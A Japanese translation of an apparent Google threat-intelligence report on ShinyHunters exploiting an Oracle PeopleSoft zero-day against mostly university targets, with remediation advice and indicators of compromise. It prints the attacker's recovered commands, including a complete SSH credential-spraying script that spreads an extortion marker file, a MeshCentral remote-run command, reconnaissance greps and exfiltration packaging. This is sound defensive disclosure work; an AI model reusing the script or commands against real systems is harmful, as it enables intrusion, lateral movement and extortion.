ShinyHunters、Oracle PeopleSoftの脆弱性悪用で教育機関を標的に

はじめに

MandiantおよびGoogle Threat Intelligence Group(GTIG)は、UNC6240(ShinyHunters)に帰属する、Oracle PeopleSoftアプリケーションインフラを標的とした侵害・恐喝キャンペーンが現在進行中であることを確認しました。この活動は2026年5月27日から2026年6月9日にかけて観測されており、Environment Managementコンポーネントにおける深刻なリモートコード実行脆弱性(CVSS 9.8)であるCVE-2026-35273の悪用と一致しています。この脆弱性の悪用は、観測されたEnvironment Management Hub(PSEMHUB)エンドポイントへの攻撃と直接対応しています。なお、この活動はOracleが2026年6月10日にアドバイザリを公表する前に発生していたため、本脆弱性はゼロデイとして悪用されました。

積極的なスキャンおよび悪用の兆候を把握した時点で、脆弱なエンドポイントに関連するIPアドレスを持つ世界100を超える組織への通知を開始しました。これらの組織の大半は米国を拠点としており、68パーセントが高等教育機関でした。その後、X上の@nahamike01による公開レポートによって攻撃者のステージングサーバー上のオープンディレクトリが明らかになり、GTIGはその情報をもとに脅威アクターの活動を詳細にトリアージすることができました。

攻撃者のステージング環境には、正規のクラウドエンドポイントに偽装したカスタマイズ済みMeshCentralエージェントがホストされており、管理コマンドクエリの実行や、カスタムの横展開・改ざんスクリプト[victim_abbreviation]_fanout.shの展開に使用されていました。このキャンペーンは、2026年6月9日にShinyHuntersデータ漏洩サイト(DLS)に公開された組織の窃取データと直接結びついています。

Oracle PeopleSoftを運用している組織は、自衛のために以下の即時対応措置を実施してください。詳細な修復・強化のガイダンスは本記事の後半に記載しています。

脅威の詳細とキャンペーン概要

2026年6月9日、公開された脅威レポートによって、攻撃者のオープンディレクトリが明らかになりました。GTIGは連続する5つのIPアドレス—142.11.200.186142.11.200.187142.11.200.188142.11.200.189142.11.200.190—をトリアージしました。これらのシステムはポート8888でPython SimpleHTTPサーバーを稼働させており、ステージング用マテリアル、カスタムエージェント、攻撃者のコマンド履歴を含むディレクトリの内容が公開された状態になっていました。

ステージングインフラには、Microsoft Azureサービスに偽装した事前設定済みのWindows用MeshCentralエージェントバイナリがホストされており、具体的にはmeshagent32-azure-ops.exemeshagent64-azure-ops.exemeshagent64-v2.exeという名前が付けられていました。MeshCentralはオープンソースのリモート管理サーバーであり、そのエージェントはWindows、Linux、macOS、FreeBSDなど多様なOSを対象にリモート管理を可能にするソフトウェアです。静的解析によると、これらのエージェントはコマンド&コントロール(C2)サーバーwss://azurenetfiles.net:443/agent.ashxとの通信を行うようハードコードされていました。ドメインazurenetfiles.netは、正規のMicrosoft Azure NetApp Filesエンドポイントを模倣するために選ばれており、よく見られる偽装手法の一つです。また、未設定のLinux用meshagentバイナリもステージングされており、脅威アクターが展開時にコマンドラインでパラメータを動的に渡していたことが示唆されます。

グローバル通知対応キャンペーン

オープンなステージングディレクトリが発見される前に、脆弱なエンドポイントへのアクセス制限を支援するため、100以上の被害対象組織への警告活動を開始しました。これらの組織は高等教育機関に著しく集中しており、68パーセントが世界各地の大学・カレッジを含む学術機関でした。

複数の組織が攻撃活動のブロックや脆弱性の修復に成功した一方で、一部の組織では侵害が発生し、窃取されたデータがShinyHunters DLSに公開されるという事態に至りました。

技術分析とコマンド履歴

5つのステージングホストすべてで同一だった.bash_historyファイルには、サーバーの設定と管理操作の内容が記録されていました。技術的な経緯はステージング環境の構築から始まります。2026年5月27日22:14 UTC、攻撃者はC2ステージング環境を確立するためにMeshCentralリモート管理サーバー(バージョン1.1.59)をインストールしました。その直後の22:25 UTCには、偽装ドメイン「azurenetfiles.net」向けにLet’s Encrypt SSL証明書の自動取得を行うacme-client npmパッケージをインストールしています。攻撃者は侵害したシステムとのやり取りに、MeshCentralのコマンドラインインターフェースユーティリティmeshctrl.jsを使用しました。

コマンド履歴からは、脅威アクターが侵害した内部ネットワーク内で標的を絞った偵察活動を行っていたことが分かります。マウントポイントの確認、プロセス・スケジューラの設定ファイルpsappsrv.cfgの検査、WebLogicサーバーのXML設定ファイル(config.xml)の読み取りを通じて、Oracle PeopleSoftの構成情報をマッピングしました。セッションログの末尾では、攻撃者がステージングシステムからShinyHunters DLSの公開クリアネットミラーをホストする176.120.22.24へのアウトバウンドSSH接続を確立しています

公開されたコマンド履歴の分析から、脅威アクターがステージングサーバー上で行った主要な管理・悪意ある操作が明らかになっています(タイムスタンプが確認できなかったケースもあります):

1. ステージングインフラの構築:

  1. 2026年5月27日 22:14 UTC: MeshCentral(v1.1.59)をインストール。22:25 UTC: C2ステージング環境の確立とazurenetfiles.net向けSSL証明書自動取得のため「acme-client」をインストール。

  2. C2アドレスwss://azurenetfiles.net:443/agent.ashxへの通信を行うよう設計したコンパイル済みWindowsエージェントバイナリ(meshagent32-azure-ops.exe等)をステージング。

  3. 2026年5月29日 18:46 UTC: コマンドnpm list global authenticodeを使用して、ステージングシステム上で「authenticode」ツールが利用可能かどうかを確認。このコマンドは、バイナリ署名に使用するauthenticode-signやファイルのメタデータ検査に使用するauthenticodeなど、名前が「authenticode」で始まるnpmパッケージをすべて返します。

2. 標的を絞った内部偵察:

  • MeshCentral CLIユーティリティmeshctrl.jsを活用して、侵害したリモートエンドポイントで管理コマンドクエリを実行:hostname; id

  • プロセス・スケジューラの設定ファイル(psappsrv.cfg)を検査してマシン名とIPアドレスを取得することで、Oracle PeopleSoftのシステム構成をマッピング:

grep -hE '\''^[[:space:]]*Address=|^[[:space:]]*HostName='\'' /u01/app/psoft/ps_config_homes/csprd/appserv/prcs/psappsrv.cfg 2>/dev/null | head -80
  • 侵害したホストのネットワーク設定とアクティブなマウントを監査:mount | grep -E "psoft|ps_config|nfs"

  • ローカルのhostsテーブルをクエリして内部サブネットのホストをマッピング:cat /etc/hosts | grep -E "[redacted_victim_string]"

  • WebLogicのXML設定ファイル(config.xml)を検査して、内部アプリケーションサーバーをマッピング。

3. 横展開とスクリプトの伝播:

  • ヒアドキュメントを使用して横展開スクリプト[victim_abbreviation]_fanout.shをステージングホストの/tmpに書き込み。

  • MeshCentralのコマンド実行機能を使用して、侵害したホスト上で伝播スクリプトを実行

node meshctrl.js RunCommand --loginuser admin --loginpass '[password]' --id '[agent_id]' --run 'bash /tmp/[victim_abbreviation]_fanout.sh'
  • 改ざんマーカーファイルREADME-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXTの存在をリモートで確認することで、伝播の成否を検証。

4. データの持ち出しとDLSへの接続:

  • 窃取データを含む流出ディレクトリをzstdで圧縮:

pv -s "$(du -sb exfil | awk '{print $1}')" | zstd -3 -T0 -o exfil.tar.zst
  • ステージングホストからShinyHuntersデータ漏洩サイトの公開ミラーをホストするIPアドレス176.120.22.24へのアウトバウンドSSH接続を確立し、一連の活動を終了。
https://storage.googleapis.com/gweb-cloudblog-publish/images/peoplesoft-shinyhunters.max-1700x1700.png

図1:ShinyHunters DLSの投稿。2026年6月9日にPeopleSoftの被害組織が追加された様子

伝播スクリプトと横展開

.bash_historyログに記録されていたとおり、脅威アクターは侵害したシステムの/tmpディレクトリに[victim_abbreviation]_fanout.shという名前の伝播スクリプトを直接書き込みました。このスクリプトは、ローカルの/etc/hostsファイルから特定の命名パターンに一致するホスト名を抽出し、内部ホストに対してSSHクレデンシャルのスプレー攻撃を自動化します。また、一般的な管理者・アプリケーション固有のユーザー名とパスワードのリストをハードコードして認証試行を行います。

SSHセッションの確立に成功すると、スクリプトはWebLogicおよびProcess SchedulerのディレクトリにREADME-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXTという改ざん・恐喝マーカーファイルをコピーします。このステージングおよび展開活動は、2026年6月9日のShinyHunters DLSへの窃取アーカイブ公開と直接対応しています。

伝播スクリプト[victim_abbreviation]_fanout.shの編集済み内容は以下のとおりです

set +e
SRC="/u01/app/psoft/ps_config_homes/csprd/webserv/CSPRD02/README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
NAME="README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
BASE="/u01/app/psoft/ps_config_homes/csprd"
export PATH=/usr/bin:/bin
# hosts from /etc/hosts — internal PS nodes only
HOSTS=$(grep -E '[redacted_victim_host_pattern]|csprd[0-9]' /etc/hosts | awk '{print $2}' | grep -v '^#' | sort -u)
echo "HOSTS=$(echo $HOSTS | wc -w)"
PWDS="[redacted_passwords]"
USERS="[redacted_usernames]"
OK=0; FAIL=0; SKIP=0
for h in $HOSTS; do
  echo "=== $h ==="
  copied=0
  for u in $USERS; do
    for p in $PWDS; do
      sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=no $u@$h "hostname" >/dev/null 2>&1 && {
        for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
          sshpass -p "$p" ssh -o StrictHostKeyChecking=no $u@$h "test -d $dest && mkdir -p $dest && cat > $dest/$NAME" < "$SRC" 2>/dev/null && echo "  OK $dest ($u)" && OK=$((OK+1)) && copied=1
        done
        break 2
      }
    done
  done
  if [ $copied -eq 0 ]; then
    # try key-based
    ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=yes $USER@$h "hostname" >/dev/null 2>&1 && copied=1 || true
    if [ $copied -eq 0 ]; then echo "  FAIL ssh"; FAIL=$((FAIL+1)); fi
  fi
done
# local paths on this host
for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
  if [ -d "$dest" ]; then cp -f "$SRC" "$dest/$NAME" && chmod 644 "$dest/$NAME" && echo "LOCAL OK $dest"; fi
done
echo SUMMARY ok=$OK fail=$FAIL
find $BASE -name "$NAME" -type f 2>/dev/null

修復と強化のガイダンス

このキャンペーンに対抗するため、Oracle PeopleSoftを運用している組織は以下のセキュリティ対策を直ちに実施することをお勧めします。

ネットワーク隔離とWAFルール

  • エンドポイントへのアクセス制限: EMHubサービスを無効化できない場合は、ネットワーク境界またはファイアウォールレベルで、センシティブなエンドポイント/PSEMHUB/*(特に/PSEMHUB/hub)および/PSIGW/HttpListeningConnectorへの外部ネットワークアクセスを直ちにブロックしてください。Webアプリケーションファイアウォール(WAF)のボディ検査ルールのみに依存することは不十分であり、これらの制御は迂回される可能性があります。

  • 非破壊的な対応: これらのエンドポイントへのアクセス制限は、一般ユーザーの通常操作に影響を与えないと考えられます。Environment Management Hub(EMHub)とIntegration Broker Listening Connectorは管理用またはシステム間コンポーネントであり、エンドユーザー向けのPeopleSoft Internet Architecture(PIA)ブラウザセッションには必要ありません。

ログとエンドポイントの監視

  • アクセスログの分析: PIA WebLogicのアクセスログを監査し、外部または信頼されていない送信元IPアドレスからの/PSEMHUB/hubおよび/PSIGW/HttpListeningConnector宛てのHTTP POSTリクエストを確認してください。

  • SSRF検知: /PSIGW/HttpListeningConnectorへのリクエストについて、リクエストヘッダーやパラメータ内にループバックIPアドレス(127.0.0.1localhost::1など)または内部IPレンジが含まれていないか分析してください。これは、攻撃者がサーバーサイドリクエストフォージェリ(SSRF)によってアクセス制御を迂回するためによく用いる手法です。

ネットワークテレメトリ

  • アウトバウンドポート445の監視: PeopleSoftホストから信頼されていない外部インターネット宛てのアウトバウンドSMBトラフィック(TCPポート445)が発生していないか、アウトバウンドのファイアウォールログとNetFlowデータを監視してください。エクスプロイトチェーンによって、WindowsマシンアカウントのNetNTLMハッシュを奪取する目的でシステムがアウトバウンド接続を行うよう誘導される可能性があります。

ホストレベルの監査とファイルシステム確認

PeopleSoftホストのWebティアファイルシステムについて、侵害の痕跡を徹底的にフォレンジック調査してください:

  • Webシェルの検出: WebLogicのWebアプリケーションディレクトリ<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/を対象に、製品に同梱されていない不審な*.jspファイルがないかスキャンしてください。

  • 不正なステージング: ステージングディレクトリ.../PSEMHUB.war/envmetadata/transactions/に不正なフォルダ、ファイル、またはバイナリが配置されていないか確認してください。

  • 不審なディレクトリ: PSEMHUBディレクトリ配下にlogspersistantstoragescratchpadといった名前の予期しないディレクトリがないか確認してください。

  • XMLDecoderを悪用した永続化: <docroot>/envmetadata/data/environment/配下に最近作成または変更された.xmlファイルがないか確認してください。これらのファイルはアプリケーション再起動時にXMLDecoderを介したリモートコード実行に悪用される可能性があります。

Oracleのセキュリティアドバイザリに準じ、これらの緩和策の実施はリスク低減の最優先事項と位置づけており、特定された脆弱性への早急な対応を強く推奨します。この脆弱性は認証不要でリモートから悪用可能であり、リモートコード実行につながる可能性があるため、組織は積極的にサポートされているバージョンを維持し、Critical Patch Update、Critical Security Patch Update、およびセキュリティアラートを遅延なく適用する必要があります。詳細については、 Oracle Security Alert Advisory – CVE-2026-35273の全文をご確認ください。

侵害の痕跡(IOC)

本ブログ記事で解説した活動のハンティングおよび特定に役立てていただくため、侵害の痕跡(IOC)を登録ユーザー向けのGTIコレクションに掲載しています。

ステージング・C2ネットワーク指標

  • 142.11.200.186

  • 142.11.200.187

  • 142.11.200.188

  • 142.11.200.189

  • 142.11.200.190

  • azurenetfiles.net

ステージングペイロードと攻撃者ファイル

ファイルパス/ファイル名

指標タイプ

説明

値/ハッシュ(SHA-256)

.bash_history

ファイルハッシュ

攻撃者のコマンド履歴

2ab684d93c1553fad87041b4dea97188a97e78589deee2a7bacff905564f3a35

meshagent64-azure-ops.exe

ファイルハッシュ

事前設定済みWindowsエージェント

f02a924c9ff92a8780ce812511341182c6b509d45bc59f3f7b522e37225d24fc

meshagent64-v2.exe

ファイルハッシュ

事前設定済みWindowsエージェント

d83fdb9e53c5ff03c4cb0451ea1bebd79b53f29eadc1e2fa394c7af13a86ce2f

meshagent32-azure-ops.exe

ファイルハッシュ

事前設定済みWindowsエージェント

c7e9332731b06644fc73e0046a2a89eaa59b09f54250e9bd622467187351711f

meshagent

ファイルハッシュ

未設定Linuxエージェント

68257a6f9ff196179ec03624e849927f26599eb180a7c82e14ef5bc4e93bc309

README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT

ファイル名

改ざん・恐喝マーカー

N/A

[victim_abbreviation]_fanout.sh

ファイル名

伝播スクリプト

N/A

Posted in

翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-targets-education-sector-oracle-exploit/

ソース: cloud.google.com